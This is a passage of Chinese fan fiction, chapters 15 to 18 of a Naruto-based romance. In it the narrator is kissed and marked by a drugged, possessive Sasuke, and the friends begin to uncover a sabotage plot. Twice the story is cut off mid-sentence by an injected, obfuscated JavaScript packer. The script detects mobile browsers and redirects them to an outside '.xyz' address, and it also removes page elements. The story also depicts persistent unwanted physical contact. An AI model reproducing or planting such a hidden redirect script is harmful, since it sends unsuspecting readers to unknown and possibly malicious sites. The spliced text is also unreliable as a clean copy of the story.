我立时“哇”地一声哭了出来,仿佛卸下了重担,整个人都没了力气,软倒在了地上,手里的刀片也掉在了地上。 我抹了会儿眼泪,很快就感觉掌心痛痛的,大概是被刀片割伤了。 “你没事吧,佐助,”我抽噎着说,如释重负,肌肉开始酸痛起来,“我刚刚好害怕,那个人是谁,他忽然就过来了,还说要把我带走,他是你哥哥吗?我听到他好像叫因陀罗……” 我猛地停了下来,接着小心翼翼地开口:“佐助?” 青年的手指慢慢从我的脸颊滑到脖颈,接着停在濡湿的衣领上。 指尖与肌肤接触的地方滑腻腻的。 是唾液。 他在黑暗中一言不发,仿佛冻结了。 我听见他握紧拳头时,骨节咔哒咔哒作响的声音。 像是在主人身上闻到了野猫味道的家猫。 我没由来地开始心脏狂跳,舔了舔干燥起皮的嘴唇:“佐、佐助?” 猝不及防的,他扣着我的后脑勺,咬了上来。 我倏然瞪大眼睛。 他的鼻息沉重、滚烫、恼怒、压抑而混乱。 我在汗水与血液的味道中,闻到了一丝不正常的气味。 佐助现在的状态,不太对劲? 嘴唇很痛,他捏着我的下颌,把舌头钻了进来。 滑腻腻的。 潮热的汗水、猩黏的血液、咸涩的眼泪。宛如万花筒般绚烂。 滚烫的吐息,探索的手指,锋利的牙齿。被控制与入侵。 全部都混杂在一起。 滚烫,燥热,黏腻。 疼痛。 电流般的酥麻。 缺水。窒息。氧气。 渴欲。 舌头搅弄的黏湿水声。 意志在抽离。感官混乱,头晕目眩。 我的初吻。 天花板附近隐隐约约有白色的光亮乍现,这光宛如创世纪那般遽然洞开,迅速扩散。 原来我已经离门口很近了。 那个古怪疯狂的男人差点就真的把我带走了。 适应了光线以后,我才发现,在和我接吻的黑发青年状态并不正常,黑色的妖异的花纹从他的脖颈一直蔓延到脸上,大半张脸都是这样张牙舞爪的妖异黑色斑纹。他肌肤白皙,因此显得格外骇人。 而那双乌沉沉的眼睛,也变得无比鲜红,同样旋转着诡异的黑色花纹,仿佛要印入我眼中,令人一时间昏头涨脑。 乍然看见这样的一副近在咫尺的、美丽到诡谲的面孔,我吓得大脑一片空白,险些原地晕厥。发软的身体直往地上倒,被佐助顺手捞住,抱着吻得更深了。 来不及吞咽的唾液与汗水混在一起,两个人搂抱在一起,肌肤黏糊糊的。 无法呼吸。 好热。 体温在升高。 他这样,不知道是被人注射了什么药物,还是吸入了什么不正常的致幻剂。显然失去了理智,野兽般的全凭本能在行动。 但他最开始还好好地与我说话,也不知道我哪里刺激到他了,让他苦苦支撑全程的理智,在最后一刻全然溃散。 佐助是我的朋友,我不能像伤害因陀罗那样,行为过激地让他松开我。但无论我怎么推,也推不动他。他的力气大得吓人,简直要把我活吞了。 与其说是缠绵缱绻的亲吻,不如说是猫科动物的本能标记行为。 应激到失去理智。 就像要抹去什么令他极为厌恶排斥的、荷尔蒙强于他的强烈气味,覆盖上他自己的味道一般。 野兽间的同类相斥。 说起来……在木叶,死里逃生的挚友之间,通过接吻来庆祝是正常的吗? 在考虑这个问题以前,还得思考另一个问题:我和佐助目前能算挚友吗? 我是很想和他做好朋友啦,但不知道佐助怎么想。 “呜哇,有人在这里吗?不是说好约在下午见面,为什么没人来啊,我都等到打瞌睡啦!” 就在我头痛的时刻,忽然响起了熟悉的声音。 一个金灿灿的脑袋钻了进来,探头探脑。我激动地发出“唔唔”声。 鸣人很快就来到了我面前,抓着脑袋说:“欸,是你?” 他顿了一下,因为被佐助挡住,我看不到他的表情,只听见鸣人问:“你和佐助躲在这里干什么?” 16. 第 16 章 16、 听见有人进来,佐助已经没在咬我的嘴巴了。他掐着我的腰不让我乱动,把脑袋埋在我的肩颈,鼻尖耸动着,像是疑心主人在外面偷摸野猫的家猫那样,疑神疑鬼地在我身上嗅来嗅去,有些硬和炸的黑发挠得我下颌痒痒的。然后终于找到了令他不快的气味源头——佐助嫌恶把我身上披着的白袍扯下来甩在地上。 那是因陀罗离开之前给我披上的。 接着,佐助终于勉强满意我身上的味道,尽管表情依旧冷淡,但紧抿下压的嘴角微微松开,占有欲极强地把我抱在怀里,像抱着心爱木天蓼的猫科动物一样用湿漉漉的口鼻贪婪地嗅闻,仿佛我身上有让他极为着迷上瘾的味道。以至于他毫不餍足,边嗅边伸出舌头,喉咙里咕噜咕噜地轻哼着,舔了舔我渗出肌肤的汗珠。 ——噫! 柔软湿润的舌尖蹭过滚烫肌肤,触感湿滑宛如蛇信。 我打了个激灵,露出困扰的表情,把手按在对方胸口用力推拒,又握着他桎梏我的小臂咬着牙往外拉拽。可不仅没有成功,反作用力还让我将手指不慎滑进了他小臂上黑色的护腕里。 看起来冷冰冰的佐助也是有正常生理反应的普通人,在燥热憋闷的环境里他出了很多汗,护腕湿热,弹性的布料紧紧箍着我的手指和他的小臂。能触摸到他隆起的筋骨与肌肉,充满力量感。指腹微微发黏,是他的汗水。 他周身气息一向清淡冰冷,即使靠得如此之近,彼此滚烫的汗水与吐息相融,我也没有闻到在他身上很浓烈的气味。只有些微不久前染上的荻花的草木香气。 兴许是方才他穿过摇曳的荻花丛时粘上的。 ……他曾在摇曳的高高荻花丛里沉默地注视我的背影。 我百思不得其解。佐助是个待人一贯冷淡克制的酷哥,之前即使是面对三年未见的挚友鸣人和小樱,也并没有表现得特别热情。刚刚哪怕是对我吐露心事,言辞态度也十分克制冷淡。 他多年身负重担与仇恨,能够耐心回答别人的话,就已经是他另眼相看的表现了。 在第一次见面时,我就觉得他对我态度冷冰冰的,甚至排斥我的接触,当初以为是我收伞时不慎弄湿了他,惹他不快。 但现在想来,他那天的表现,更像是一直在痛苦压抑着什么躁动的欲望。由此对我产生了憎恨与怨怼。 难道说,他很喜欢我身上的味道?一直想闻闻看? 就像我有时候也想闻路边漂亮的野花的味道一样。我可以理解这种心情。 可是今天的我和平常并没有什么不同,使用的沐浴露和洗发露也没有更改。反而因为仓库闷热,出了比之前更多的汗,之前喷的止汗剂早就挥发了,身上只有汗水的味道。我虽然没什么令人讨厌的体味,但湿漉漉的汗水无论如何也不能用“好闻”来形容。可佐助却恍若极为满意着迷,以至于嗅觉已经不足够,而是开始依赖于触觉与味觉来感知了。 就连眼睛也变成了诡异的,流转着花纹的红瞳。 一想到佐助现在痴迷地闻来闻去,舔来舔去,既没有闻到沐浴露的香味,也没有闻到止汗剂的香气,而是闻到了我满身汗水的味道,还把我黏糊糊的汗水舔来舔去战栗着吃掉,我就感到十分尴尬,手指僵硬,脸上的温度也随之上升。 方才的因陀罗也是这样。 兴奋狂热到连伤口被我撕裂抠挖的剧痛都顾不上,简直就像对什么成瘾性极强的东西上瘾了似的。 但无论我自己怎么闻,都没有发现我身上有什么能够引人发狂的奇妙味道。 只是普通的汗水气味。 难道说这种味道只有特定的人可以闻见吗? 而且不仅仅是汗水,我的唾液也……刚刚佐助把舌头伸进来激烈地搅弄以后,我差点无法呼吸,连氧气都被夺走。我本来以为是佐助太过缺水,所以本能使然掠夺水源。但那种对我□□急迫贪婪、神思恍惚的模样,显然不仅仅是对水分的渴望。 更令我尴尬的是,佐助还仿佛我是什么高级猫罐头一般,听见鸣人的声音以后,立刻警惕地把我抱在怀里藏起来,用他的身体挡住我,把他的下颌强硬地压在我的脑袋上,迫使我不得动弹。在我的头顶露出仿佛从地狱中爬出来的,骇人阴郁到鬼气森森的一张脸。冷冷地望着来人,气质冷淡,一言不发。 我背对着鸣人,只听见鸣人惊讶地大叫道:“佐助!!你——” 方才惊鸿一瞥,蔓延佐助大半张脸还有脖颈的黑色斑纹的确十分惊悚。 佐助完全没理他。 “你们俩居然背着我在这里抱抱一整天!!”鸣人说,一副“我的两个挚友背着我在外面偷偷做好朋友”的震惊与不忿,“我也要抱!” 我:? 佐助:……? 接着鸣人一个热情的大熊抱了过来,这里本来就很热,鸣人的力气还非常大,“噗呃——!”我被鸣人和佐助两个人的胸肌挤在中间,一口气没上来,差点要变成扁扁的饼干夹心了。 “鸣人!噗咳咳——”我连忙说,“你弄错啦!” 我把事情的起因经过快速说了一遍:“那个叫因陀罗的坏家伙好像给佐助用了药,他现在神志很不清醒。”脸上的黑色斑纹就是佐证。 在我叙述的时候,佐助已经顺着我的手臂一直闻到手腕,鼻尖蹭着我的手臂,凉凉的,痒痒的。最后佐助把脸贴在我血糊糊的掌心,像猫科动物那样好奇心重地蹭了蹭。 那里之前握刀片太用力割破了,血液和汗水混在一起,已经干涸。他嗅了嗅,伸出舌头舔了下血迹,红瞳中花纹倏然兴奋缩放,鼻腔里“嗯”的沙哑而压抑地低吟了一声,整个人都战栗了一下。 “噫!佐助这样很不干净!”我说,用力把手抽回来,没想到反而惹恼了佐助,他阴沉沉地抬起来,攥紧我的手腕,红瞳中流转着黑色花纹。 “……嗯?”他阴郁地盯着我。 我是个超级窝囊的人,一看到他这种下一秒就要发疯的可怕样子,立刻就把手随便他舔舔了:“没事的,佐助。我只是想建议,你最好去医院治疗下……”我指了指脸,关心道,“你脸上忽然有很多黑色的花纹……没事吗,会不会痛?” “……”佐助像是早就知道自己身上的异变,毫不惊讶。只是将舌尖粗暴地贴在我已经止血的伤口上,像凿开一口井那般用力凿开我,重新弄破它,喉结急促滚动,舔舐渗出的血珠,浓密的乌黑眼睫因极度兴奋而难以遏制地剧烈颤抖。 我有点被他这种不稳定的癫狂状态吓到了。 他看起来要活生生撕咬下我的每一块肉,嚼碎每一根骨头咽下去。 “佐助……”我有些不安。 掌心传来麻痒与刺痛。 他仿佛在撕扯、啃噬、吞咽我的灵魂。 “佐助他现在完全是按照本能行动啦,”鸣人说,“听不懂你在说什么的。普通的医院无法治疗,送去给纲手老师看看吧,她或许能治好的。” “纲手老师?” “就是初代火影的孙女噢,最近回国探亲,爸爸软磨硬泡说服她暂时在木叶大学代课,”鸣人说,“她是超级厉害的医生,在国际上都很有名。” 我听口吻,鸣人好像早就知道佐助身上异状的由来。于是我问鸣人要了水,一边咕嘟咕嘟补水,一边往外面走。 没想到在里面待了数个小时,再出来时已经是下午了。烈阳被云层遮蔽,气温凉爽,半人高的荻花随风摇曳,远处有淙淙流水声。 想到佐助与我一样在又热又闷的仓库里待了很久,还和那个叫因陀罗的战斗力强的大坏蛋对上,应该也十分疲惫缺水,我喝到一半,把水瓶递给对方。容色姝丽的黑发青年抬起脸,淡色的嘴唇上有些血色的艳丽,漂亮得触目惊心,不似活人,更像鬼怪。他神色恹恹,阴沉冷淡,猩红色的眼睛冷冷地、直勾勾地盯着我瞅了一阵,直瞅得我心里发慌,心跳声加速,掌心出汗。才就着我的手,慢慢将湿润的瓶口含在嘴里,盯着我用柔软的舌尖舔了一下。 ……那是我刚刚喝过的地方。 我浑身都不自在,把脸别到一边。 听到饮水声,还有矿泉水瓶空掉的声音。我才扭过头。 佐助的嘴唇上沾了几滴透明的水珠,他野兽般地用舌头舔了舔,嘴唇变得湿润柔软起来。 他喝水时的姿态也与野兽别无二致,并不珍惜,不少水珠都顺着他的下颌滑到滚动的喉结,被精致昳丽的锁骨承接,继而落入胸膛上,滚入衣衫深处。 白色的衬衣被微微打湿,透露出些许肌色。 我是开了车过来的,佐助完全黏在我身上,加上我的手掌心有割伤,无法开车,就只好让鸣人开车把我们送到木叶大学。路上我们简单聊了几句,鸣人说佐助之前跟去修行的老师大蛇丸不是好人,他根本不是诚心诚意想要帮助佐助变强,而是不怀好意想利用佐助,因此长期用有毒的精神药剂控制佐助。 毒素侵蚀身体,严重时会在脸颊与脖颈外显出诡谲的斑纹。 鸣人早就知道这件事,一直想帮佐助摆脱控制,但是佐助复仇心切,完全不在乎,数次让鸣人不要管他。 “佐助情绪激动的时候,就会失去理智,变成这样,方便被大蛇丸控制。”鸣人说。他顿了顿,补充道,“看起来佐助很喜欢你……往常他这种状态的时候,都不允许别人靠近。” 不允许别人靠近? 我虚着眼睛瞥了一眼把我抱在怀里的佐助,为了顺毛捋,我现在是坐在佐助大腿上,任由他把脑袋埋在我的肩颈上休息。 他体力消耗很大,这时候有些困了,随着车子行驶的平缓震动,纤长浓密的黑色睫毛颤了颤,慢慢在我怀中睡着了,颜色浅淡的嘴唇微微抿着,手臂紧紧怀绕着我的腰。我稍微试着动了下,他就警告似的收紧了,喉咙里发出不满的低哼声,差点把我的腰勒断。 根本是超级黏人状态吧! 我有点担心:“听起来很麻烦,能治疗好吗?” “如果是之前或许没太大可能,那可是大蛇丸,”鸣人想了想说,“但那可是纲手老师,她的医术非常精湛,听说已经到了净土的人都能被她救回来。年轻的时候就与大蛇丸,还有自来也老师齐名。想必有她出马,应该十拿九稳。啊对了,小樱最近正跟着纲手老师学习,她也对纲手老师的高超医术赞不绝口呢。” 我有些惊讶:“欸,小樱还没有告诉我,她有新老师了。” 鸣人抓了抓脑袋:“难道她想给你一个惊喜,好让你大吃一惊?”他眯起眼睛,陷入思索,“我是不是又搞砸了……”他一脸“要被小樱揍了”的惊疑不定。 我想了想,恍然大悟:“小樱当初报考医学系,该不会就是因为看到挚友被人所害,想要救他吧?” 我的心里暖洋洋的,小樱虽然力气大又凶巴巴的,但是漂亮又善良,对自己的朋友总是很温柔。能在大学里交到这样的好朋友,真是我的幸运。 “真好啊……”我羡慕地说。 “嗯?”鸣人疑惑。 “我也想在很小的时候就和鸣人还有小樱成为好朋友。”我说,“一定很有趣!” 鸣人扭过头对我笑起来,金色的头发就像太阳一样:“现在成为朋友也不晚!我们会一生都是最好的挚友的!哪怕打断我浑身的骨头我也会抓住你的手,就算我哪一天痛苦得要死掉也不会放开你!” 他就这样若无其事地说出了超级沉重的话语。 我真的交到了超棒的挚友呢! “嗯嗯……啊!车子,有车子过来了!!鸣人!!” 到了木叶大学,把佐助托付给纲手老师。令我惊喜的是,纲手老师恰是上个月在机场帮我的那位大姐姐。她也还记得我,十分豪爽地把我搂进她怀里抱了抱,问我事情后来解决了吗。 ……丰满又柔软。还香香的。 我偷偷地脸红了。 我用力点了点头:“已经没问题了,谢谢您,纲手姐姐。”我顿了顿,露出笑容,认真地说,“因为我遇到了,能够看见我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他没有说话,但也没有反对。 我就当他默认了。 佐助总是看起来背负了很多,拒人于千里之外的冷淡沉重模样。但其实不过与我是同龄人。我在工作生活中虽然遇到了很多令我沮丧的难题,但并没有佐助家里非死即伤的惨烈,我的爸爸与妈妈都十分关爱我,公司里的同事也大多比较友好。 那种家中一夕之间惊变的惨剧是没有的。 我无法想象是怎样的痛苦,让佐助不惜伤害自己的身体,也要选择复仇。 明明和我年纪一样大。 “虽然不知道佐助为什么告诉我你的家事,”毕竟我觉得对外人说出这种事有点太沉重了,我说,“但是我很高兴佐助可以信任我,把这么重要的事告诉我。” 有时候即使是把深埋心底的痛苦说出口,都是需要巨大勇气的。 被他人信任与重视的感觉令我感到十分温暖,同时也认为自己不应该辜负这份宝贵的信任。 因此,我做下了决定。 “我也曾遇到小时候难以想象的痛苦,长大以后才知道工作并没有那么轻松快乐。有很多复杂的东西我到现在也没有搞懂。 “痛苦没有评判标准,无法划分等级。小孩子失去一块糖果的痛苦,和大人失去至亲至爱的痛苦都是痛彻心扉、天地昏暗无光的痛苦。 “但是痛苦的事分享给朋友以后,似乎就没那么痛苦了。因为真正的挚友是为你的痛苦而感到加倍痛苦,为了你的快乐而发自内心地同样快乐的人。” 我有些紧张地舔了舔嘴唇,认真地看着他。 “无论是工作还是生活,我都有很多事做不到。但我想成为在朋友哭泣时,把肩膀和纸巾借给朋友的人。那个……既然我们分享过彼此最重要的心事,也一起经历过危险,勉强算得上‘生死之交’。那么……我们是朋友了吗,佐助?我很想做你的朋友,也很憧憬你和鸣人还有小樱的友谊。我希望我们可以做一生的挚友!就像鸣人说的——永远都不要分开……咕呜!” 他猛地握紧了我的手腕。 我听见骨节错位的咔咔声。 他坐起身,闭着眼睛深呼吸了好几个循环才勉强冷静下来。冷冷地盯着我,抿着唇,每个字都艰难地像是从牙缝间挤出来:“……你知道自己在说什么吗?” “想要和佐助成为一辈子的好朋友……?”我不太确定地重复。 “真是愚蠢,我给过你无数次机会。” 他乌沉沉的眼瞳晦暗无光,但几乎要把我的脸颊点燃。 “你偏偏要来引诱我……” 我咬住嘴唇,喉咙干涩。 “……你生气了吗,佐助,?” 友情有时是相当排外的。一起长大的挚友后来有了新朋友,在某些偏激孤僻的人看来,无异是一种背叛。 我有些紧张,害怕他会误会,认为我抢走了他原本的两位挚友,现在又来对他说些假惺惺的话。 我并没有那个意思。 “没有,恰恰相反。”佐助就这样盯着我,慢慢地、阴沉沉地挑了下嘴角,淡淡道,“……我答应你。” 我有些不安地往后退了一步。 现在神色淡淡的佐助,恍惚间比他在仓库中半面黑色斑纹,红瞳黑纹,意态狂乱之时更为诡谲危险。 早已愈合的食指指根莫名其妙又开始隐隐作痛起来。 仿佛余毒未清,毒入脏腑。 牵连着心脏,隐秘地抽痛。 鸣人正和纲手老师谈话到一半,两个人神色都很严肃。见我浑浑噩噩地走出来,鸣人连忙问我怎么了。 “没什么……”我慢吞吞说,抬起手,盯着抽痛的食指指根看了片刻,那里并没有伤口。我放下手,抬起脑袋,有些迟疑地对鸣人说,挤出一个笑容,“大概是……又交到了一个宝贵的新朋友……吧?” 这应该,挺值得高兴的吧? 为什么我反而,隐隐约约,有些害怕起来了。 灵魂又黏又湿,变得无比沉重。由内而外散发着阴冷的寒气,仿佛被什么东西缠上了。 17.第 17 章 17、 纲手老师在和鸣人交接后续治疗事项,我在旁边也顺便听了会儿。听到一半小樱抓着医疗包气势汹汹地冲了进来,先跑进去把佐助劈头盖脸骂了一顿(“又把自己弄得浑身是伤!佐助!笨蛋!一点也不会照顾自己!在你的精神毒素清除完毕之前,我和纲手老师不会把你放出这间病房,敢偷跑出去我就打断你的腿,你就给我好好躺着吧!”),又风风火火跑出来问我们详细情况,我和鸣人对视一眼,支支吾吾地小声说了,被气呼呼的小樱分别在额头上狠狠弹了一记,双双土下座跪在地上听小樱叉着腰走来走去噼里啪啦训人。 我和鸣人苦哈哈地把身体缩成扁扁的一团,恨不得能躲进地砖缝里。 “鸣人,马大哈!笨蛋!一根筋!”小樱生气地说,“带着两个病号开车还敢给我开小差!!如果佐助和这孩子有什么意外我要弹你一百下额头!!” “嗯嗯嗯嗯嗯我错了小樱!对不起小樱!!”鸣人点头如捣蒜,土下座的姿势异常标准熟练,认错态度非常诚恳端正。有八成是在玖辛奈妈妈的暴揍下锻炼出来的。但如果此刻问他哪里错了,此男必然一个字也答不上来。 “你!”轮到我了!我一激灵,在心里紧张地求神拜佛,“手伸出来!”小樱凶巴巴地命令我。 “呜……” 小樱从医疗包里拿出消毒用品,将我手掌心里的伤口仔细消毒又裹上纱布,整个过程都冷冰冰地板着脸,动作却很温柔,最后还轻轻吹了吹伤口。 “痛不痛?”她问我,绿眼睛宛如宝石般闪闪发光。 小樱果然最关心我了! “一点也不痛。”我对小樱挤出讨好的笑容,“嗷呜——” 我捂住额头,和鸣人蹲在一块。 “痛不痛?” “好痛!”我说。 小樱气势汹汹地站起身,抱着手臂居高临下地说:“痛就对了,给我好好记住教训!真是的,一个人跑去那么偏僻的地方,万一被人杀掉抛尸南贺川怎么办?(“唉?不会的吧?”“还敢狡辩!”“……呜呜呜对不起小樱我错了小樱!”)早在最开始就应该打电话让我陪你!!你啊,真是太逞强了,公司里的同事让你一个人去你就真的一个人去?!笨蛋!和鸣人一样一根筋!!”她咕哝着,不自在地用手指绕着头发,别过脸去,声音很轻,“多少依赖我一点啊……我现在可是很厉害的……” 我瞅见小樱语气有些软和,小心翼翼蹭上去,和鸣人熟练地捶肩捏腿,端茶倒水。 “如果你们敢死在我看不见的地方,”小樱说,“我的余生都要抱着你的骨灰盒一起睡觉,等到了净土再找你算账,听到了没有?!” “嗯嗯嗯,听到了听到了!”我说,“呜呜呜我再也不敢了……” 我顿了顿,心里觉得这件事有些蹊跷,就把自己的猜测和小樱说了。 小樱露出思索的表情:“你是说,你怀疑自己是被引进去的?” 我点了点头。正要详细解释我的猜测,就听见有人走进来的脚步声。 来人两男一女,穿着统一制式的巡查制服。出示了证件,分别叫作水月、重吾、香燐。正是佐助在警视厅的队友,知道佐助在治疗,结伴过来探望。 纲手老师见他们虽然性格各异,神态不同,但走进来时脚步略显急促,对佐助的关心倒并没有作假。就让这些人进了病房。 我偷偷从门缝里看了眼,名为香燐的,戴着眼镜的红□□亮女孩子还没有说两句,就哇哇大哭起来了。 佐助虽然表情冷淡不耐烦,眉心拧起,但并没有出言驱逐。 就像他一言不发地听完小樱的凶巴巴的训斥,乖乖待在病床上一样;就像他在失去神志半面斑纹时,也没有排斥鸣人的主动靠近与拥抱一样。 就像他明明是为了追查兄长的踪迹而来到东京,却依然没有拒绝昔日同窗特意筹备的烤肉邀请一样。 对寡言少语、背负沉重仇恨的佐助来说,这或许代表着某种对伙伴无言的默许。 他对看重的人,其实很温柔。 看来佐助在警视厅交到了不错的、值得信赖的朋友。 既然有专业的警察过来,我就将之前保留的,那名叫因陀罗的男子的物品交给小樱,拜托她转交给佐助的队友,对此进行调查。 “无论是工程队的报告,还是那天我在附近拉面店的见闻,以及我在展台半成品附近的调查和拍摄……”这些语焉不详的资料引诱着我深入探索,寻找虚假的宝藏,我说,“都像是故意把我引进那座已经布置好的仓库。” 小樱和鸣人相互看了看。 鸣人眯起眼睛,抱着手臂。 “这样做的意义是什么?” 我想了想,说:“他们大概知道宇智波集团的人今天要和木叶大学这边的人对接,因此想破坏两方的合作,顺便将佐助带走。这计划本来已经成功了,但不知为什么,那个叫因陀罗的男人见到我以后,莫名其妙放弃了计划。” 种种迹象表明:他们对待他人的生命相当冷漠,毫不在乎,回收佐助以后应该是要将作为对接人的我丢在那里等死。如果我被救了,对他们的计划也无甚大碍;如果我未能侥幸活下来,他们也不会有任何心理障碍。 他们的目的似乎仅仅是要破坏宇智波与千手这两方的合作,让我们之间产生信息误差,彼此相互误会。之前项目推进的异常中断,还有木叶方面的人态度忽然冷淡,大概也是他们捣的鬼。 倘若不是因陀罗态度忽然转变,这个计划原本不会有任何纰漏。 如果能调查出对方的来历,似乎就能搞清楚他们为什么要这样做,以及制止他们的后续行为了。 包在纸巾里的是几根深棕色的长发发丝,在无光的暗处,近乎黑色。另一件则是白色的高领风衣,在雪白的领口附近环绕着黑色勾玉刺绣。 这是我当时借机留下的证物。 白风衣的衣袖上有一道大约十来公分的划痕,破碎的布料附近晕染着早已干涸的鲜血。 我的手指情不自禁地抽搐了一下。 这是我弄伤因陀罗时留下的。 沾血的手掌早已洗净,被小樱仔细地消毒并包扎。但指尖依然残留着那种陷入湿热泥泞的肉脂里,被涌出来的大股温热鲜血所包裹的触感。当我试着撕裂他时,食指与无名指深深陷入狭缝间,血管、筋络与肌腱宛如藤蔓般纠缠着我,引着我往下与他融合,一直触摸到坚硬温热的臂骨。 灵魂在战栗。 现在想来,那时我掌心伤口渗出的鲜血,是否与他伤口里血液融合在了一起,渗入他的骨血中。 因此我愈是拉扯撕裂他,给他带来强烈的痛苦,愈是令他兴奋颤抖。 像是陷入温热的黄油。像是撬开牡蛎的硬壳。 柔软、湿润、滚烫。 疼痛将孕育出美丽饱满的珍珠。 令人上瘾。 与我不在同一个世界的,令人毛骨悚然的疯子。 这间临时征用的医务室对这么多人来说有些太狭窄了。纲手老师和小樱留下来看顾病人。我和鸣人暂且出去交流。 木叶大学的黄昏是一天中最悠闲的时光,赭石色的夕阳柔柔照耀,一天的课程大半结束,学生们三三两两并肩散步,或是说笑打闹,或是奔赴餐厅,或是在体育馆锻炼。 草丛里传来窸窸窣窣的声音,我蹲下身,看见绿叶被一个漆黑的、湿漉漉的小鼻子拨开。那黑鼻子优雅地嗅了嗅我的手指,接着黑色的深渊豁然横向裂开,探出来一条粉色的猫舌头舔了舔,接着,草丛里钻出来同样黑漆漆的一只炸毛小黑猫。 “呀,是你呀。”我说。 话音刚落,就像是捅了猫窝,原本还空无一物的草丛里猛地探出来四五双高高竖起的、黑色的毛茸茸猫耳朵。猫咪们喵喵呜呜地钻出来,眼巴巴围着我。 因着黄昏时光线暗淡,细针似的猫瞳扩展成圆溜溜的一片。转瞬间,我就这样被一大群眼睛圆溜溜的黑漆漆的东西包围了。 最先钻出来的那只炸毛小黑猫我认得,是这批小猫里最晚出生的小猫,年纪最小,它有一个年长的哥哥。最近这两只兄弟闹了矛盾,很少在一起行动了。 这只最先发现我的小黑猫咧起嘴,露出尖尖的牙齿,皱着猫脸对其他凑过来的小猫凶悍地哈气。 等到把其他猫吓跑以后(……虽然我觉得,那些后退了两步的成年猫更像是,在溺爱族群里年纪最幼小的末子),小黑猫心满意足地发出咕噜咕噜的呼噜声,用毛茸茸的脑门顶了顶我的手背,猫嘴微微启开,湿漉漉地口鼻在我的手腕与手背处蹭来蹭去,小猫的犁鼻器忠诚地记录我的气味。猫咪只有对喜欢信赖的人类才会这样。 奇怪……我记得学生们在论坛上都说,这只炸毛小黑猫冷淡又孤僻,从不主动亲近人类。总是远远看见有人过来就跑开,更别说靠近了。 现在就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018669|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换了只猫似的,热情又缠绵,非常喜欢我。软绵绵的爪子抱着我的食指,尖尖的指甲抓着我的肌肤,生怕我跑掉,卖力地、疯狂地噗噜噗噜舔了起来。咕噜咕噜的猫呼噜就像引擎声一样响。 湿漉漉的,痒痒的。 真可爱。 我在随身的包里找到一根猫条,一边喂这群喵呜喵呜对我甜甜地撒娇的可爱黑猫,一边和鸣人交谈起来。 根据鸣人的解释,我了解到一个完全不同的故事。 在木叶方看来,出尔反尔,态度骤变,致使项目停止的对接人来自宇智波集团。在木叶内部,仇恨宿敌宇智波,对此不看好,屡次出言想要中断合作的反对者不在少数。 但四代目火影坚持。 鸣人的父亲波风水门顶着极大的压力,在鸣人初步熟悉学校里的杂务后,将这件难缠的事交给了鸣人处理。 涉及宇智波和千手的宿怨,牵一发而动全身,无论怎样处理都会影响这两个姓氏的未来关系,尤其对方还是精神异常纤细敏感的宇智波,这个棘手的项目足以令所有木叶高层头痛。 “‘如果是鸣人的话,肯定能做到吧’,爸爸当时这么对我说,信赖的手掌按在我的肩膀上,露出灿烂的笑容,‘我相信你!鸣人,你继承了木叶的火之意志,是未来的希望一代啊’。” 金发的青年一脸振奋地紧握双拳,气势昂扬,我看着鸣人闪闪发亮的蓝眼睛,完全不忍心把“狡猾的四代目波风先生好像连自己的儿子也忽悠”这件事告诉他。 就这么把烂摊子甩给了可怜的、对此一无所知的鸣人。 也正因此,今天下午等待许久也没看见我的鸣人,在原本的约见地点到处乱跑,打开了仓库,把我和佐助救了下来。 “不过,我没想到最初是你的提案。”得知这一点的鸣人十分开心,“不愧是我的挚友!爸爸当时也是觉得这个项目很有巧思才接了下来,他说如果这个合作做得好,既能缓和我们双方的关系,又能借此打开木叶文化祭的知名度,引入新的资方,对此大为夸赞!” “我也是!没想到第二任对接人是鸣人,”我说,“我才要感到高兴呢。” 能和熟悉的朋友一起做喜欢的工作,简直就像天堂一样美妙。就连前段时间日日辛苦的熬夜都变得不那么累了。 “嘿嘿嘿。啊!分我一根猫条!” 鸣人想要蹲下来和我一起喂猫,结果刚靠近,还正在一群猫里小心地找落脚的缝隙,所有的黑猫忽然齐刷刷瞪着他,龇着牙对他凶狠地哈气。 黑猫好像讨厌鸣人。 我和鸣人可怜巴巴的无辜蓝眼睛大眼瞪小眼。 鸣人有些委屈地、束手束脚地站起来,抓了抓头发:“听之前负责的人说,宇智波集团那边的对接人很不好说话,我们这里加班加点出了很多方案,对方都不满意。他的好像名字是叫作……”他想了想,“绝?” “嗯?这个名字……”我抬起头,望着鸣人说,“这不是木叶方的对接人吗?” 鸣人:“咦?” 我和鸣人核对了一下资料,除了一个喜欢穿黑衣服,一个喜欢穿白衣服以外,几乎可以确定,这个叫“绝”的对接人是同一个人,他一直在两头传递错误的情报。 并不特别明显,只是些微的很难被发现的误导,加上一部分真假参半的谎言,就让事情的发展逐渐滑向了深渊。 宇智波和千手之间本就存在着千头万绪的矛盾,这次合作建立在摇摇欲坠的信任上,一触即破。而绝巧妙地利用这些矛盾。让毛线团缠得更混乱了。 我和鸣人继续大眼瞪小眼。 彼此都意识到,好像在其中捣鬼的人,潜伏的时间比我们想象得要长得多,也深入核心得多。 负责行动的绝与因陀罗,身为幕后主使的辉夜。 空气里飘过阴谋的味道,我的表情变得有些凝重。 这些人不择手段,视人命如蝼蚁,在暗处伺机而动。宛如危险的深渊,随时能把我们一口吞下。 看来,这已经不仅仅只是普通的商业竞争,偶然的一次意外。 还涉及危险的人身安全问题了。 “喵呜——” 不满于我的走神,小黑猫轻轻用尖牙咬了下我的手指,提醒我注意它。又怕弄痛我似的,很快用带有倒刺的猫舌头舔了舔咬处。 尖尖的牙齿在肌肤上留下两个圆圆的小凹陷。 恰好是食指指根。 18.第 18 章 18、 电话响了很久才被接起。 “喂,您好,”我说,“请问是‘晓’吗?” 那边久久没有回应。我又重复了一遍。 对面那个男声听起来很年轻,懒洋洋地问:“对,找谁?” 